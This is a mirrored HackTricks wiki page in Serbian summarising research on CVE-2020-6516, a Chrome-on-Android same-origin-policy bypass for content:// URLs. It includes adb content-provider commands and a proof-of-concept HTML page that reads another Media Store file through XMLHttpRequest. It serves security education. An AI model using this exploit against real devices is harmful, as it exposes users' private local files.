mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
3.6 KiB
Markdown
79 lines
3.6 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
**Ovo je sažetak posta [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
|
|
|
### Listing Files in Media Store
|
|
|
|
Da biste naveli datoteke kojima upravlja Media Store, može se koristiti sledeća komanda:
|
|
```bash
|
|
$ content query --uri content://media/external/file
|
|
```
|
|
Za ljudima prijatniji izlaz, prikazujući samo identifikator i putanju svake indeksirane datoteke:
|
|
```bash
|
|
$ content query --uri content://media/external/file --projection _id,_data
|
|
```
|
|
Sadržajni provajderi su izolovani u svom privatnom imenskom prostoru. Pristup provajderu zahteva specifičan `content://` URI. Informacije o putanjama za pristup provajderu mogu se dobiti iz manifestacija aplikacija ili iz izvornog koda Android okvira.
|
|
|
|
### Chromeov Pristup Sadržajnim Provajderima
|
|
|
|
Chrome na Androidu može pristupiti sadržajnim provajderima putem `content://` sheme, što mu omogućava pristup resursima kao što su fotografije ili dokumenti koje su izvezle aplikacije trećih strana. Da ilustrujemo ovo, datoteka se može umetnuti u Media Store i zatim pristupiti putem Chrome-a:
|
|
|
|
Umetnite prilagođeni unos u Media Store:
|
|
```bash
|
|
cd /sdcard
|
|
echo "Hello, world!" > test.txt
|
|
content insert --uri content://media/external/file \
|
|
--bind _data:s:/storage/emulated/0/test.txt \
|
|
--bind mime_type:s:text/plain
|
|
```
|
|
Otkrivanje identifikatora novoinstalirane datoteke:
|
|
```bash
|
|
content query --uri content://media/external/file \
|
|
--projection _id,_data | grep test.txt
|
|
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
|
```
|
|
Datoteku zatim možete pregledati u Chrome-u koristeći URL konstruisan sa identifikatorom datoteke.
|
|
|
|
Na primer, da biste naveli datoteke povezane sa određenom aplikacijom:
|
|
```bash
|
|
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
|
```
|
|
### Chrome CVE-2020-6516: Bypass Same-Origin-Policy
|
|
|
|
_**Same Origin Policy**_ (SOP) je bezbednosni protokol u pregledačima koji ograničava web stranice da komuniciraju sa resursima iz različitih izvora osim ako to nije izričito dozvoljeno politikom Cross-Origin-Resource-Sharing (CORS). Ova politika ima za cilj da spreči curenje informacija i napade putem cross-site request forgery. Chrome smatra `content://` kao lokalnu shemu, što podrazumeva strože SOP pravila, gde se svaka lokalna shema URL tretira kao poseban izvor.
|
|
|
|
Međutim, CVE-2020-6516 je bila ranjivost u Chrome-u koja je omogućila zaobilaženje SOP pravila za resurse učitane putem `content://` URL-a. U suštini, JavaScript kod sa `content://` URL-a mogao je da pristupi drugim resursima učitanim putem `content://` URL-a, što je predstavljalo značajnu bezbednosnu zabrinutost, posebno na Android uređajima koji koriste verzije starije od Android 10, gde nije implementirano ograničeno skladištenje.
|
|
|
|
Dokaz koncepta u nastavku prikazuje ovu ranjivost, gde HTML dokument, nakon što je otpremljen pod **/sdcard** i dodat u Media Store, koristi `XMLHttpRequest` u svom JavaScript-u da pristupi i prikaže sadržaj druge datoteke u Media Store-u, zaobilazeći SOP pravila.
|
|
|
|
Dokaz koncepta HTML:
|
|
```xml
|
|
<html>
|
|
<head>
|
|
<title>PoC</title>
|
|
<script type="text/javascript">
|
|
function poc()
|
|
{
|
|
var xhr = new XMLHttpRequest();
|
|
|
|
xhr.onreadystatechange = function()
|
|
{
|
|
if(this.readyState == 4)
|
|
{
|
|
if(this.status == 200 || this.status == 0)
|
|
{
|
|
alert(xhr.response);
|
|
}
|
|
}
|
|
}
|
|
|
|
xhr.open("GET", "content://media/external/file/747");
|
|
xhr.send();
|
|
}
|
|
</script>
|
|
</head>
|
|
<body onload="poc()"></body>
|
|
</html>
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|